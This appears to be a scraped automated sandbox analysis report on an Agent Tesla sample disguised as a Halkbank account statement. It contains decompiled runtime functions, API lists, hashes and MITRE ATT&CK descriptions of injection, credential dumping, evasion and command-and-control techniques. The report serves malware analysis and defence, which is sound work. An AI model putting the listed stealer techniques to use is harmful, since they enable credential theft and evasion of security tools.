			E004025BA() {
				void* _t4;
				void* _t8;

				E00402AE5();
				E00402A79();
				if(E004027D9() != 0) {
					_t4 = E0040278B(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E00402815();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x004025ba
0x004025bf
0x004025cb
0x004025d0
0x004025d5
0x004025d7
0x004025e2
0x004025d9
0x004025d9
0x00000000
0x004025d9
0x004025cd
0x004025cd
0x004025cf
0x004025cf

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 004025BA
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 004025BF
___vcrt_initialize_locks.LIBVCRUNTIME ref: 004025C4

Part of subcall function 004027D9: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 004027EA

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 004025D9

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 25f408f13cbe0c40dd9f497db491c4efe3e5092114ef2f2bbff8929357b925fc
Instruction ID: 4128bea016199bb2a2d03f508bec19fe8aa18f4adc422371eefe93b2158e2da6
Opcode Fuzzy Hash: 25f408f13cbe0c40dd9f497db491c4efe3e5092114ef2f2bbff8929357b925fc
Instruction Fuzzy Hash: E0C0024414014264DC6036B32F2E5AA235409A63CDBD458BBA951776C3ADFD044A553E

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1B30, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00EC1B30(intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char _v45;
				short _v47;
				char _v51;
				char _v55;
				char _v59;
				char _v63;
				char _v64;
				intOrPtr _v68;
				char _v71;
				char _v75;
				char _v79;
				char _v80;
				char _v92;
				char _v167;
				char _v168;
				signed int _t163;
				signed int _t177;
				signed int _t178;
				void* _t186;
				intOrPtr _t189;
				void* _t292;
				void* _t293;
				void* _t294;

				_v64 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v47 = 0;
				_v45 = 0;
				_v80 = 0;
				_v79 = 0;
				_v75 = 0;
				_v71 = 0;
				_v168 = 0;
				_t163 = E00EC87A0( &_v167, 0, 0x31);
				_t294 = _t293 + 0xc;
				asm("cvttsd2si eax, [ebp+0x8]");
				_v16 = _t163;
				asm("cdq");
				 *(_t292 + 0xffffffffffffffa4) = _v16 % 0x3e8;
				asm("cdq");
				_v16 = _v16 / 0x3e8;
				_v8 = 4;
				while(_v8 >= 0) {
					asm("cdq");
					 *(_t292 + _v8 * 4 - 0x70) = _v16 % 0x64;
					asm("cdq");
					_v16 = _v16 / 0x64;
					_v8 = _v8 - 1;
				}
				_v36 =  *(_t292 + 0xffffffffffffffa4);
				asm("cdq");
				_v20 = _v36 / 0x64;
				asm("cdq");
				_v12 = _v36 % 0x64;
				asm("cdq");
				_v40 = _v12 / 0xa;
				_t177 = _v12;
				asm("cdq");
				_t178 = _t177 / 0xa;
				_v44 = _t177 % 0xa;
				if(_v12 >= 0x14 || _v20 == 0) {
					if(_v12 >= 0x14 || _v20 != 0) {
						if(_v12 <= 0x14 || _v20 == 0) {
							E00EC1E50(_t178, _v40,  &_v92);
							E00EC1E40( &_v32, _v44,  &_v32);
							E00EC8140( &_v64,  &_v32);
							_t294 = _t294 + 8;
						} else {
							E00EC1E40(_v20, _v20,  &_v32);
							E00EC8140( &_v64, "Hundred ");
							E00EC1E50(_v40, _v40,  &_v92);
							E00EC8140( &_v64,  &_v92);
							E00EC1E40( &_v32, _v44,  &_v32);
							E00EC8140( &_v64,  &_v32);
							_t294 = _t294 + 0x18;
						}
					} else {
						E00EC1E40( &_v32, _v12,  &_v32);
					}
				} else {
					E00EC1E40(_v20, _v20,  &_v32);
					E00EC8140( &_v64, "Hundred ");
					E00EC1E40(_v12, _v12,  &_v32);
					E00EC8140( &_v64,  &_v32);
					_t294 = _t294 + 0x10;
				}
				_v8 = 4;
				while(_v8 >= 0) {
					if( *(_t292 + _v8 * 4 - 0x70) >= 0x14) {
						asm("cdq");
						E00EC1E50( *(_t292 + _v8 * 4 - 0x70) / 0xa,  *(_t292 + _v8 * 4 - 0x70) / 0xa,  &_v92);
						asm("cdq");
						E00EC1E40( *(_t292 + _v8 * 4 - 0x70) / 0xa,  *(_t292 + _v8 * 4 - 0x70) % 0xa,  &_v32);
						E00EC8140(_t292 + _v8 * 0x1e - 0x13c,  &_v32);
						_t294 = _t294 + 8;
					} else {
						E00EC1E40( &_v32,  *(_t292 + _v8 * 4 - 0x70),  &_v32);
					}
					_v8 = _v8 - 1;
				}
				_v8 = 0;
				while(_v8 < 5) {
					_t189 = E00EC82C0(_t292 + _v8 * 0x1e - 0x13c);
					_t294 = _t294 + 4;
					_v68 = _t189;
					if(_v68 != 0) {
						E00EC8140( &_v168, _t292 + _v8 * 0x1e - 0x13c);
						E00EC8140( &_v168,  &_v80);
						_t294 = _t294 + 0x10;
					}
					_v8 = _v8 + 1;
				}
				E00EC8140(_a12,  &_v64);
				_t186 = E00EC82C0(_a12);
				 *((char*)(_a12 + _t186 - 1)) = 0;
				return _t186;
			}

APIs

_memset.LIBCMT ref: 00EC1B73

Strings

Hundred , xrefs: 00EC1CAC
Hundred , xrefs: 00EC1C42

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset
String ID: Hundred $Hundred
API String ID: 2102423945-1478457770
Opcode ID: 234262fb254290269893b6125a050ab3804e712fe36beeaf07674ae17533c5bc
Instruction ID: 04c9caccc6ed81c42d61a70e63e67ebd3f7340051294db30a920c7ad210c6315
Opcode Fuzzy Hash: 234262fb254290269893b6125a050ab3804e712fe36beeaf07674ae17533c5bc
Instruction Fuzzy Hash: 04A12BB1D00208EFCB08DFE8DA81FDDB7F5AB89300F1495ADE515B7241DB369A068B61

Uniqueness

Uniqueness Score: -1.00%

Function 00ECF71C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00ECF71C(void* __ebx, void* __edx, void* __esi, void* __eflags) {
				intOrPtr* _v20;
				void* _t4;
				intOrPtr* _t7;
				intOrPtr _t9;

				_t15 = __edx;
				_t13 = __ebx;
				_t4 = E00ED3C1F(0, 0x10000, 0x30000);
				if(_t4 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00EC8B87(__ebx, __edx);
					asm("int3");
					_t7 =  *_v20;
					__eflags =  *_t7 - 0xe06d7363;
					if( *_t7 != 0xe06d7363) {
						L9:
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *((intOrPtr*)(_t7 + 0x10)) - 3;
						if( *((intOrPtr*)(_t7 + 0x10)) != 3) {
							goto L9;
						} else {
							_t9 =  *((intOrPtr*)(_t7 + 0x14));
							__eflags = _t9 - 0x19930520;
							if(__eflags == 0) {
								L10:
								E00ECC6A9(_t13, _t15, 0, __eflags);
								asm("int3");
								E00ECC080(E00ECF743);
								__eflags = 0;
								return 0;
							} else {
								__eflags = _t9 - 0x19930521;
								if(__eflags == 0) {
									goto L10;
								} else {
									__eflags = _t9 - 0x19930522;
									if(__eflags == 0) {
										goto L10;
									} else {
										__eflags = _t9 - 0x1994000;
										if(__eflags == 0) {
											goto L10;
										} else {
											goto L9;
										}
									}
								}
							}
						}
					}
				} else {
					return _t4;
				}
			}

APIs

__controlfp_s.LIBCMT ref: 00ECF72A

Part of subcall function 00ED3C1F: __control87.LIBCMT ref: 00ED3C43

__invoke_watson.LIBCMT ref: 00ECF73D

Strings

csm, xrefs: 00ECF74B

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: __control87__controlfp_s__invoke_watson
String ID: csm
API String ID: 1371525046-1018135373
Opcode ID: a65e87661bccf221477b2426a47cff5dab9b4c187deff1fbe6e3a5b46413f233
Instruction ID: f98ebb0f60640fde42144de349bfa3030ddfc44cc2fbce1ea09f72131e749619
Opcode Fuzzy Hash: a65e87661bccf221477b2426a47cff5dab9b4c187deff1fbe6e3a5b46413f233
Instruction Fuzzy Hash: 77F0F621530304178A265B686B46F9A238E8B10319B64252BF408AA521DB72CE83C0D6

Uniqueness

Uniqueness Score: -1.00%

Function 00EC6B80, Relevance: 5.0, APIs: 4, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00EC6B80(void* __ecx) {
				void* _v8;
				void* _t5;
				void* _t7;
				void* _t14;

				_t14 = __ecx;
				_push(__ecx);
				_t5 = HeapAlloc(GetProcessHeap(), 1, 0x17d78400);
				_v8 = _t5;
				_push(_t5);
				if(_t5 != 0x11) {
					asm("cld");
				}
				asm("clc");
				_pop(_t7);
				if(_v8 != 0) {
					E00EC6C50(_t14, _v8, 0x17d78400);
					_push(_t11);
					asm("cld");
					_t7 = HeapAlloc(GetProcessHeap(), 1, 0);
				}
				return _t7;
			}

0x00ec6b80
0x00ec6b83
0x00ec6b93
0x00ec6b99
0x00ec6b9c
0x00ec6ba0
0x00ec6ba4
0x00ec6ba5
0x00ec6ba9
0x00ec6baa
0x00ec6baf
0x00ec6bbd
0x00ec6bc2
0x00ec6bc7
0x00ec6bd4
0x00ec6bd4
0x00ec6bde

APIs

GetProcessHeap.KERNEL32(00000001,17D78400,00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6B8C
HeapAlloc.KERNEL32(00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6B93
GetProcessHeap.KERNEL32(00000001,00000000,00000000,17D78400,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6BCD
HeapAlloc.KERNEL32(00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6BD4

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 981753f5aee72b3e58312dc366cc1935cb2201d369aa77fce545f371abaa4097
Instruction ID: caf37b5ce488540854a8b13f705b84e99147e02849c9ed99d05dc2c8c29d24a0
Opcode Fuzzy Hash: 981753f5aee72b3e58312dc366cc1935cb2201d369aa77fce545f371abaa4097
Instruction Fuzzy Hash: 7DF0E271542218BFE70067B5BE0EFABB39CE704709F204549F545E3250C9725E098660

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Halkbank_Ekstre_20210113_162325_384771.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

SMTP Packets

Function 00EC1040, Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 187
librarymemoryCOMMON

Function 00EC6B80, Relevance: 6.0, APIs: 4, Instructions: 41
memoryCOMMON

Function 00EC88A7, Relevance: 16.6, APIs: 11, Instructions: 84
COMMON

Function 00ECC0A3, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Function 00ECC080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Function 00EC6A00, Relevance: .0, Instructions: 10
COMMON

Function 00EC3610, Relevance: 91.3, APIs: 27, Strings: 25, Instructions: 313
COMMON

Function 00EC49E0, Relevance: 65.1, APIs: 17, Strings: 20, Instructions: 328
COMMON

Function 00EC22F0, Relevance: 57.9, APIs: 17, Strings: 16, Instructions: 198
COMMON

Function 00EC4640, Relevance: 52.8, APIs: 14, Strings: 16, Instructions: 252
COMMON

Function 00EC2B10, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 243
COMMON

Function 00EC2800, Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 223
COMMON

Function 00EC25C0, Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 155
COMMON

Function 00EC20E0, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 67
COMMON

Function 00EC21E0, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 77
COMMON

Function 00ECA5E2, Relevance: 16.7, APIs: 11, Instructions: 229
COMMON

Function 00EC8E23, Relevance: 13.6, APIs: 9, Instructions: 66
COMMON

Function 00EC1380, Relevance: 10.6, APIs: 7, Instructions: 126
COMMON

Function 00ECD6D2, Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Function 00ECBB6C, Relevance: 9.1, APIs: 6, Instructions: 134
COMMON

Function 00ED1D26, Relevance: 7.6, APIs: 5, Instructions: 67
COMMON

Function 00EC347B, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115
COMMON

Function 00ED1673, Relevance: 6.1, APIs: 4, Instructions: 96
COMMON

Function 00ECECB1, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Function 00ECCC10, Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Function 00EC1B30, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 259
COMMON

Function 00ECF71C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Function 00401489, Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 43
COMMON

Function 00401E1D, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Function 004055C5, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre